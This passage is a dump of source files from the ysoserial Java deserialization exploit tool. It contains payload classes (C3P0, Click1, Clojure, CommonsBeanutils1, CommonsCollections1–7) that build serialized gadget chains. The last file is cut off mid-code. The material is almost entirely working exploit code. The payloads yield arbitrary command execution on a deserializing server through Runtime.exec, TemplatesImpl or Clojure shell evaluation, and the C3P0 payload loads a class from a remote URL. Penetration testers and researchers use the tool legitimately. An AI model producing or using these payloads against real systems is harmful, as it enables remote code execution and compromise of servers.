    "content": "package ysoserial.payloads;\n\n\nimport java.io.PrintWriter;\nimport java.sql.SQLException;\nimport java.sql.SQLFeatureNotSupportedException;\nimport java.util.logging.Logger;\n\nimport javax.naming.NamingException;\nimport javax.naming.Reference;\nimport javax.naming.Referenceable;\nimport javax.sql.ConnectionPoolDataSource;\nimport javax.sql.PooledConnection;\n\nimport com.mchange.v2.c3p0.PoolBackedDataSource;\nimport com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n\n/**\n *\n *\n * com.sun.jndi.rmi.registry.RegistryContext->lookup\n * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject\n * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject\n *\n * Arguments:\n * - base_url:classname\n *\n * Yields:\n * - Instantiation of remotely loaded class\n *\n * @author mbechler\n *\n */\n@PayloadTest ( harness=\"ysoserial.test.payloads.RemoteClassLoadingTest\" )\n@Dependencies( { \"com.mchange:c3p0:0.9.5.2\" ,\"com.mchange:mchange-commons-java:0.2.11\"} )\n@Authors({ Authors.MBECHLER })\npublic class C3P0 implements ObjectPayload<Object> {\n    public Object getObject ( String command ) throws Exception {\n        int sep = command.lastIndexOf(':');\n        if ( sep < 0 ) {\n            throw new IllegalArgumentException(\"Command format is: <base_url>:<classname>\");\n        }\n\n        String url = command.substring(0, sep);\n        String className = command.substring(sep + 1);\n\n        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);\n        Reflections.getField(PoolBackedDataSourceBase.class, \"connectionPoolDataSource\").set(b, new PoolSource(className, url));\n        return b;\n    }\n\n\n\n\n    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {\n\n        private String className;\n        private String url;\n\n        public PoolSource ( String className, String url ) {\n            this.className = className;\n            this.url = url;\n        }\n\n        public Reference getReference () throws NamingException {\n            return new Reference(\"exploit\", this.className, this.url);\n        }\n\n        public PrintWriter getLogWriter () throws SQLException {return null;}\n        public void setLogWriter ( PrintWriter out ) throws SQLException {}\n        public void setLoginTimeout ( int seconds ) throws SQLException {}\n        public int getLoginTimeout () throws SQLException {return 0;}\n        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}\n        public PooledConnection getPooledConnection () throws SQLException {return null;}\n        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}\n\n    }\n\n\n    public static void main ( final String[] args ) throws Exception {\n        PayloadRunner.run(C3P0.class, args);\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/Click1.java",
    "content": "package ysoserial.payloads;\n\nimport org.apache.click.control.Column;\nimport org.apache.click.control.Table;\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\nimport java.math.BigInteger;\nimport java.util.Comparator;\nimport java.util.PriorityQueue;\n\n/*\n    Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().\n    We use java.util.PriorityQueue to trigger ColumnComparator.compare().\n    After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.\n\n    Chain:\n\n    java.util.PriorityQueue.readObject()\n      java.util.PriorityQueue.heapify()\n        java.util.PriorityQueue.siftDown()\n          java.util.PriorityQueue.siftDownUsingComparator()\n            org.apache.click.control.Column$ColumnComparator.compare()\n              org.apache.click.control.Column.getProperty()\n                org.apache.click.control.Column.getProperty()\n                  org.apache.click.util.PropertyUtils.getValue()\n                    org.apache.click.util.PropertyUtils.getObjectPropertyValue()\n                      java.lang.reflect.Method.invoke()\n                        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()\n                        ...\n\n    Arguments:\n    - command to execute\n\n    Yields:\n    - RCE via TemplatesImpl.getOutputProperties()\n\n    Requires:\n    - Apache Click\n    - servlet-api of any version\n\n    by @artsploit\n*/\n@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n@Dependencies({\"org.apache.click:click-nodeps:2.3.0\", \"javax.servlet:javax.servlet-api:3.1.0\"})\n@Authors({ Authors.ARTSPLOIT })\npublic class Click1 implements ObjectPayload<Object> {\n\n    public Object getObject(final String command) throws Exception {\n\n        // prepare a Column.comparator with mock values\n        final Column column = new Column(\"lowestSetBit\");\n        column.setTable(new Table());\n        Comparator comparator = (Comparator) Reflections.newInstance(\"org.apache.click.control.Column$ColumnComparator\", column);\n\n        // create queue with numbers and our comparator\n        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);\n        // stub data for replacement later\n        queue.add(new BigInteger(\"1\"));\n        queue.add(new BigInteger(\"1\"));\n\n        // switch method called by the comparator,\n        // so it will trigger getOutputProperties() when objects in the queue are compared\n        column.setName(\"outputProperties\");\n\n        // finally, we inject and new TemplatesImpl object into the queue,\n        // so its getOutputProperties() method will be called\n        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, \"queue\");\n        final Object templates = Gadgets.createTemplatesImpl(command);\n        queueArray[0] = templates;\n\n        return queue;\n    }\n\n    public static void main(final String[] args) throws Exception {\n        PayloadRunner.run(Click1.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/Clojure.java",
    "content": "package ysoserial.payloads;\n\nimport clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;\nimport clojure.lang.PersistentArrayMap;\nimport ysoserial.Strings;\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.util.PayloadRunner;\n\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/*\n\tGadget chain:\n\t\tObjectInputStream.readObject()\n\t\t\tHashMap.readObject()\n\t\t\t\tAbstractTableModel$ff19274a.hashCode()\n\t\t\t\t\tclojure.core$comp$fn__4727.invoke()\n\t\t\t\t\t\tclojure.core$constantly$fn__4614.invoke()\n\t\t\t\t\t\tclojure.main$eval_opt.invoke()\n\n\tRequires:\n\t\torg.clojure:clojure\n\t\tVersions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions\n */\n@Dependencies({\"org.clojure:clojure:1.8.0\"})\n@Authors({ Authors.JACKOFMOSTTRADES })\npublic class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {\n\n\tpublic Map<?, ?> getObject(final String command) throws Exception {\n\n//\t\tfinal String[] execArgs = command.split(\" \");\n//\t\tfinal StringBuilder commandArgs = new StringBuilder();\n//\t\tfor (String arg : execArgs) {\n//\t\t\tcommandArgs.append(\"\\\" \\\"\");\n//\t\t\tcommandArgs.append(arg);\n//\t\t}\n//\t\tcommandArgs.append(\"\\\"\");\n\n\n//\t\tfinal String clojurePayload =\n//\t\t\t\tString.format(\"(use '[clojure.java.shell :only [sh]]) (sh %s)\", commandArgs.substring(2));\n\n        String cmd = Strings.join(Arrays.asList(command.replaceAll(\"\\\\\\\\\",\"\\\\\\\\\\\\\\\\\").replaceAll(\"\\\"\",\"\\\\\").split(\" \")), \" \", \"\\\"\", \"\\\"\");\n\n        final String clojurePayload =\n            String.format(\"(use '[clojure.java.shell :only [sh]]) (sh %s)\", cmd);\n\n\n\n        Map<String, Object> fnMap = new HashMap<String, Object>();\n\t\tfnMap.put(\"hashCode\", new clojure.core$constantly().invoke(0));\n\n\t\tAbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();\n\t\tmodel.__initClojureFnMappings(PersistentArrayMap.create(fnMap));\n\n\t\tHashMap<Object, Object> targetMap = new HashMap<Object, Object>();\n\t\ttargetMap.put(model, null);\n\n\t\tfnMap.put(\"hashCode\",\n\t\t\t\tnew clojure.core$comp().invoke(\n\t\t\t\t\t\tnew clojure.main$eval_opt(),\n\t\t\t\t\t\tnew clojure.core$constantly().invoke(clojurePayload)));\n\t\tmodel.__initClojureFnMappings(PersistentArrayMap.create(fnMap));\n\n\t\treturn targetMap;\n\t}\n\n\tpublic static void main(final String[] args) throws Exception {\n\t\tPayloadRunner.run(Clojure.class, args);\n\t}\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/CommonsBeanutils1.java",
    "content": "package ysoserial.payloads;\n\nimport java.math.BigInteger;\nimport java.util.PriorityQueue;\n\nimport org.apache.commons.beanutils.BeanComparator;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n@Dependencies({\"commons-beanutils:commons-beanutils:1.9.2\", \"commons-collections:commons-collections:3.1\", \"commons-logging:commons-logging:1.2\"})\n@Authors({ Authors.FROHOFF })\npublic class CommonsBeanutils1 implements ObjectPayload<Object> {\n\n\tpublic Object getObject(final String command) throws Exception {\n\t\tfinal Object templates = Gadgets.createTemplatesImpl(command);\n\t\t// mock method name until armed\n\t\tfinal BeanComparator comparator = new BeanComparator(\"lowestSetBit\");\n\n\t\t// create queue with numbers and basic comparator\n\t\tfinal PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);\n\t\t// stub data for replacement later\n\t\tqueue.add(new BigInteger(\"1\"));\n\t\tqueue.add(new BigInteger(\"1\"));\n\n\t\t// switch method called by comparator\n\t\tReflections.setFieldValue(comparator, \"property\", \"outputProperties\");\n\n\t\t// switch contents of queue\n\t\tfinal Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, \"queue\");\n\t\tqueueArray[0] = templates;\n\t\tqueueArray[1] = templates;\n\n\t\treturn queue;\n\t}\n\n\tpublic static void main(final String[] args) throws Exception {\n\t\tPayloadRunner.run(CommonsBeanutils1.class, args);\n\t}\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/CommonsCollections1.java",
    "content": "package ysoserial.payloads;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n/*\n\tGadget chain:\n\t\tObjectInputStream.readObject()\n\t\t\tAnnotationInvocationHandler.readObject()\n\t\t\t\tMap(Proxy).entrySet()\n\t\t\t\t\tAnnotationInvocationHandler.invoke()\n\t\t\t\t\t\tLazyMap.get()\n\t\t\t\t\t\t\tChainedTransformer.transform()\n\t\t\t\t\t\t\t\tConstantTransformer.transform()\n\t\t\t\t\t\t\t\tInvokerTransformer.transform()\n\t\t\t\t\t\t\t\t\tMethod.invoke()\n\t\t\t\t\t\t\t\t\t\tClass.getMethod()\n\t\t\t\t\t\t\t\tInvokerTransformer.transform()\n\t\t\t\t\t\t\t\t\tMethod.invoke()\n\t\t\t\t\t\t\t\t\t\tRuntime.getRuntime()\n\t\t\t\t\t\t\t\tInvokerTransformer.transform()\n\t\t\t\t\t\t\t\t\tMethod.invoke()\n\t\t\t\t\t\t\t\t\t\tRuntime.exec()\n\n\tRequires:\n\t\tcommons-collections\n */\n@SuppressWarnings({\"rawtypes\", \"unchecked\"})\n@PayloadTest ( precondition = \"isApplicableJavaVersion\")\n@Dependencies({\"commons-collections:commons-collections:3.1\"})\n@Authors({ Authors.FROHOFF })\npublic class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {\n\n\tpublic InvocationHandler getObject(final String command) throws Exception {\n\t\tfinal String[] execArgs = new String[] { command };\n\t\t// inert chain for setup\n\t\tfinal Transformer transformerChain = new ChainedTransformer(\n\t\t\tnew Transformer[]{ new ConstantTransformer(1) });\n\t\t// real chain for after setup\n\t\tfinal Transformer[] transformers = new Transformer[] {\n\t\t\t\tnew ConstantTransformer(Runtime.class),\n\t\t\t\tnew InvokerTransformer(\"getMethod\", new Class[] {\n\t\t\t\t\tString.class, Class[].class }, new Object[] {\n\t\t\t\t\t\"getRuntime\", new Class[0] }),\n\t\t\t\tnew InvokerTransformer(\"invoke\", new Class[] {\n\t\t\t\t\tObject.class, Object[].class }, new Object[] {\n\t\t\t\t\tnull, new Object[0] }),\n\t\t\t\tnew InvokerTransformer(\"exec\",\n\t\t\t\t\tnew Class[] { String.class }, execArgs),\n\t\t\t\tnew ConstantTransformer(1) };\n\n\t\tfinal Map innerMap = new HashMap();\n\n\t\tfinal Map lazyMap = LazyMap.decorate(innerMap, transformerChain);\n\n\t\tfinal Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);\n\n\t\tfinal InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);\n\n\t\tReflections.setFieldValue(transformerChain, \"iTransformers\", transformers); // arm with actual transformer chain\n\n\t\treturn handler;\n\t}\n\n\tpublic static void main(final String[] args) throws Exception {\n\t\tPayloadRunner.run(CommonsCollections1.class, args);\n\t}\n\n\tpublic static boolean isApplicableJavaVersion() {\n        return JavaVersion.isAnnInvHUniversalMethodImpl();\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/CommonsCollections2.java",
    "content": "package ysoserial.payloads;\n\nimport java.util.PriorityQueue;\nimport java.util.Queue;\n\nimport org.apache.commons.collections4.comparators.TransformingComparator;\nimport org.apache.commons.collections4.functors.InvokerTransformer;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n\n/*\n\tGadget chain:\n\t\tObjectInputStream.readObject()\n\t\t\tPriorityQueue.readObject()\n\t\t\t\t...\n\t\t\t\t\tTransformingComparator.compare()\n\t\t\t\t\t\tInvokerTransformer.transform()\n\t\t\t\t\t\t\tMethod.invoke()\n\t\t\t\t\t\t\t\tRuntime.exec()\n */\n\n@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n@Dependencies({ \"org.apache.commons:commons-collections4:4.0\" })\n@Authors({ Authors.FROHOFF })\npublic class CommonsCollections2 implements ObjectPayload<Queue<Object>> {\n\n\tpublic Queue<Object> getObject(final String command) throws Exception {\n\t\tfinal Object templates = Gadgets.createTemplatesImpl(command);\n\t\t// mock method name until armed\n\t\tfinal InvokerTransformer transformer = new InvokerTransformer(\"toString\", new Class[0], new Object[0]);\n\n\t\t// create queue with numbers and basic comparator\n\t\tfinal PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));\n\t\t// stub data for replacement later\n\t\tqueue.add(1);\n\t\tqueue.add(1);\n\n\t\t// switch method called by comparator\n\t\tReflections.setFieldValue(transformer, \"iMethodName\", \"newTransformer\");\n\n\t\t// switch contents of queue\n\t\tfinal Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, \"queue\");\n\t\tqueueArray[0] = templates;\n\t\tqueueArray[1] = 1;\n\n\t\treturn queue;\n\t}\n\n\tpublic static void main(final String[] args) throws Exception {\n\t\tPayloadRunner.run(CommonsCollections2.class, args);\n\t}\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/CommonsCollections3.java",
    "content": "package ysoserial.payloads;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.xml.transform.Templates;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InstantiateTransformer;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\n\n/*\n * Variation on CommonsCollections1 that uses InstantiateTransformer instead of\n * InvokerTransformer.\n */\n@SuppressWarnings({\"rawtypes\", \"unchecked\", \"restriction\"})\n@PayloadTest ( precondition = \"isApplicableJavaVersion\")\n@Dependencies({\"commons-collections:commons-collections:3.1\"})\n@Authors({ Authors.FROHOFF })\npublic class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {\n\n\tpublic Object getObject(final String command) throws Exception {\n\t\tObject templatesImpl = Gadgets.createTemplatesImpl(command);\n\n\t\t// inert chain for setup\n\t\tfinal Transformer transformerChain = new ChainedTransformer(\n\t\t\tnew Transformer[]{ new ConstantTransformer(1) });\n\t\t// real chain for after setup\n\t\tfinal Transformer[] transformers = new Transformer[] {\n\t\t\t\tnew ConstantTransformer(TrAXFilter.class),\n\t\t\t\tnew InstantiateTransformer(\n\t\t\t\t\t\tnew Class[] { Templates.class },\n\t\t\t\t\t\tnew Object[] { templatesImpl } )};\n\n\t\tfinal Map innerMap = new HashMap();\n\n\t\tfinal Map lazyMap = LazyMap.decorate(innerMap, transformerChain);\n\n\t\tfinal Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);\n\n\t\tfinal InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);\n\n\t\tReflections.setFieldValue(transformerChain, \"iTransformers\", transformers); // arm with actual transformer chain\n\n\t\treturn handler;\n\t}\n\n\tpublic static void main(final String[] args) throws Exception {\n\t\tPayloadRunner.run(CommonsCollections3.class, args);\n\t}\n\n\tpublic static boolean isApplicableJavaVersion() {\n        return JavaVersion.isAnnInvHUniversalMethodImpl();\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/CommonsCollections4.java",
    "content": "package ysoserial.payloads;\n\nimport java.util.PriorityQueue;\nimport java.util.Queue;\n\nimport javax.xml.transform.Templates;\n\nimport org.apache.commons.collections4.Transformer;\nimport org.apache.commons.collections4.comparators.TransformingComparator;\nimport org.apache.commons.collections4.functors.ChainedTransformer;\nimport org.apache.commons.collections4.functors.ConstantTransformer;\nimport org.apache.commons.collections4.functors.InstantiateTransformer;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\n\n/*\n * Variation on CommonsCollections2 that uses InstantiateTransformer instead of\n * InvokerTransformer.\n */\n@SuppressWarnings({ \"rawtypes\", \"unchecked\", \"restriction\" })\n@Dependencies({\"org.apache.commons:commons-collections4:4.0\"})\n@Authors({ Authors.FROHOFF })\npublic class CommonsCollections4 implements ObjectPayload<Queue<Object>> {\n\n\tpublic Queue<Object> getObject(final String command) throws Exception {\n\t\tObject templates = Gadgets.createTemplatesImpl(command);\n\n\t\tConstantTransformer constant = new ConstantTransformer(String.class);\n\n\t\t// mock method name until armed\n\t\tClass[] paramTypes = new Class[] { String.class };\n\t\tObject[] args = new Object[] { \"foo\" };\n\t\tInstantiateTransformer instantiate = new InstantiateTransformer(\n\t\t\t\tparamTypes, args);\n\n\t\t// grab defensively copied arrays\n\t\tparamTypes = (Class[]) Reflections.getFieldValue(instantiate, \"iParamTypes\");\n\t\targs = (Object[]) Reflections.getFieldValue(instantiate, \"iArgs\");\n\n\t\tChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });\n\n\t\t// create queue with numbers\n\t\tPriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));\n\t\tqueue.add(1);\n\t\tqueue.add(1);\n\n\t\t// swap in values to arm\n\t\tReflections.setFieldValue(constant, \"iConstant\", TrAXFilter.class);\n\t\tparamTypes[0] = Templates.class;\n\t\targs[0] = templates;\n\n\t\treturn queue;\n\t}\n\n\tpublic static void main(final String[] args) throws Exception {\n\t\tPayloadRunner.run(CommonsCollections4.class, args);\n\t}\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/CommonsCollections5.java",
    "content": "package ysoserial.payloads;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationHandler;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.management.BadAttributeValueExpException;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n/*\n\tGadget chain:\n        ObjectInputStream.readObject()\n            BadAttributeValueExpException.readObject()\n                TiedMapEntry.toString()\n                    LazyMap.get()\n                        ChainedTransformer.transform()\n                            ConstantTransformer.transform()\n                            InvokerTransformer.transform()\n                                Method.invoke()\n                                    Class.getMethod()\n                            InvokerTransformer.transform()\n                                Method.invoke()\n                                    Runtime.getRuntime()\n                            InvokerTransformer.transform()\n                                Method.invoke()\n                                    Runtime.exec()\n\n\tRequires:\n\t\tcommons-collections\n */\n/*\nThis only works in JDK 8u76 and WITHOUT a security manager\n\nhttps://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70\n */\n@SuppressWarnings({\"rawtypes\", \"unchecked\"})\n@PayloadTest ( precondition = \"isApplicableJavaVersion\")\n@Dependencies({\"commons-collections:commons-collections:3.1\"})\n@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })\npublic class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {\n\n\tpublic BadAttributeValueExpException getObject(final String command) throws Exception {\n\t\tfinal String[] execArgs = new String[] { command };\n\t\t// inert chain for setup\n\t\tfinal Transformer transformerChain = new ChainedTransformer(\n\t\t        new Transformer[]{ new ConstantTransformer(1) });\n\t\t// real chain for after setup\n\t\tfinal Transformer[] transformers = new Transformer[] {\n\t\t\t\tnew ConstantTransformer(Runtime.class),\n\t\t\t\tnew InvokerTransformer(\"getMethod\", new Class[] {\n\t\t\t\t\tString.class, Class[].class }, new Object[] {\n\t\t\t\t\t\"getRuntime\", new Class[0] }),\n\t\t\t\tnew InvokerTransformer(\"invoke\", new Class[] {\n\t\t\t\t\tObject.class, Object[].class }, new Object[] {\n\t\t\t\t\tnull, new Object[0] }),\n\t\t\t\tnew InvokerTransformer(\"exec\",\n\t\t\t\t\tnew Class[] { String.class }, execArgs),\n\t\t\t\tnew ConstantTransformer(1) };\n\n\t\tfinal Map innerMap = new HashMap();\n\n\t\tfinal Map lazyMap = LazyMap.decorate(innerMap, transformerChain);\n\n\t\tTiedMapEntry entry = new TiedMapEntry(lazyMap, \"foo\");\n\n\t\tBadAttributeValueExpException val = new BadAttributeValueExpException(null);\n\t\tField valfield = val.getClass().getDeclaredField(\"val\");\n        Reflections.setAccessible(valfield);\n\t\tvalfield.set(val, entry);\n\n\t\tReflections.setFieldValue(transformerChain, \"iTransformers\", transformers); // arm with actual transformer chain\n\n\t\treturn val;\n\t}\n\n\tpublic static void main(final String[] args) throws Exception {\n\t\tPayloadRunner.run(CommonsCollections5.class, args);\n\t}\n\n    public static boolean isApplicableJavaVersion() {\n        return JavaVersion.isBadAttrValExcReadObj();\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/CommonsCollections6.java",
    "content": "package ysoserial.payloads;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\nimport java.io.Serializable;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\n\n/*\n\tGadget chain:\n\t    java.io.ObjectInputStream.readObject()\n            java.util.HashSet.readObject()\n                java.util.HashMap.put()\n                java.util.HashMap.hash()\n                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()\n                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()\n                        org.apache.commons.collections.map.LazyMap.get()\n                            org.apache.commons.collections.functors.ChainedTransformer.transform()\n                            org.apache.commons.collections.functors.InvokerTransformer.transform()\n                            java.lang.reflect.Method.invoke()\n                                java.lang.Runtime.exec()\n\n    by @matthias_kaiser\n*/\n@SuppressWarnings({\"rawtypes\", \"unchecked\"})\n@Dependencies({\"commons-collections:commons-collections:3.1\"})\n@Authors({ Authors.MATTHIASKAISER })\npublic class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {\n\n    public Serializable getObject(final String command) throws Exception {\n\n        final String[] execArgs = new String[] { command };\n\n        final Transformer[] transformers = new Transformer[] {\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class[] {\n                        String.class, Class[].class }, new Object[] {\n                        \"getRuntime\", new Class[0] }),\n                new InvokerTransformer(\"invoke\", new Class[] {\n                        Object.class, Object[].class }, new Object[] {\n                        null, new Object[0] }),\n                new InvokerTransformer(\"exec\",\n                        new Class[] { String.class }, execArgs),\n                new ConstantTransformer(1) };\n\n        Transformer transformerChain = new ChainedTransformer(transformers);\n\n        final Map innerMap = new HashMap();\n\n        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);\n\n        TiedMapEntry entry = new TiedMapEntry(lazyMap, \"foo\");\n\n        HashSet map = new HashSet(1);\n        map.add(\"foo\");\n        Field f = null;\n        try {\n            f = HashSet.class.getDeclaredField(\"map\");\n        } catch (NoSuchFieldException e) {\n            f = HashSet.class.getDeclaredField(\"backingMap\");\n        }\n\n        Reflections.setAccessible(f);\n        HashMap innimpl = (HashMap) f.get(map);\n\n        Field f2 = null;\n        try {\n            f2 = HashMap.class.getDeclaredField(\"table\");\n        } catch (NoSuchFieldException e) {\n            f2 = HashMap.class.getDeclaredField(\"elementData\");\n        }\n\n        Reflections.setAccessible(f2);\n        Object[] array = (Object[]) f2.get(innimpl);\n\n        Object node = array[0];\n        if(node == null){\n            node = array[1];\n        }\n\n        Field keyField = null;\n        try{\n            keyField = node.getClass().getDeclaredField(\"key\");\n        }catch(Exception e){\n            keyField = Class.forName(\"java.util.MapEntry\").getDeclaredField(\"key\");\n        }\n\n        Reflections.setAccessible(keyField);\n        keyField.set(node, entry);\n\n        return map;\n\n    }\n\n    public static void main(final String[] args) throws Exception {\n        PayloadRunner.run(CommonsCollections6.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/CommonsCollections7.java",
    "content": "package ysoserial.payloads;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\nimport java.util.HashMap;\nimport java.util.Hashtable;\nimport java.util.Map;\n\n/*\n    Payload method chain:\n\n    java.util.Hashtable.readObject\n    java.util.Hashtable.reconstitutionPut\n    org.apache.commons.collections.map.AbstractMapDecorator.equals\n    java.util.AbstractMap.equals\n    org.apache.commons.collections.map.LazyMap.get\n    org.apache.commons.collections.functors.ChainedTransformer.transform\n    org.apache.commons.collections.functors.InvokerTransformer.transform\n    java.lang.reflect.Method.invoke\n    sun.reflect.DelegatingMethodAccessorImpl.invoke\n    sun.reflect.NativeMethodAccessorImpl.invoke\n    sun.reflect.NativeMethodAccessorImpl.invoke0\n    java.lang.Runtime.exec\n*/\n\n@SuppressWarnings({\"rawtypes\", \"unchecked\"})\n@Dependencies({\"commons-collections:commons-collections:3.1\"})\n@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})\n\npublic class CommonsCollections7 extends PayloadRunner implements ObjectPayload<Hashtable> {\n\n    public Hashtable getObject(final String command) throws Exception {\n\n        // Reusing transformer chain and LazyMap gadgets from previous payloads\n        final String[] execArgs = new String[]{command};\n\n        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});\n\n        final Transformer[] transformers = new Transformer[]{\n            new ConstantTransformer(Runtime.class),\n            new InvokerTransformer(\"getMethod\",\n                new Class[]{String.class, Class[].class},\n                new Object[]{\"getRuntime\", new Class[0]}),\n            new InvokerTransformer(\"invoke\",\n                new Class[]{Object.class, Object[].class},\n                new Object[]{null, new 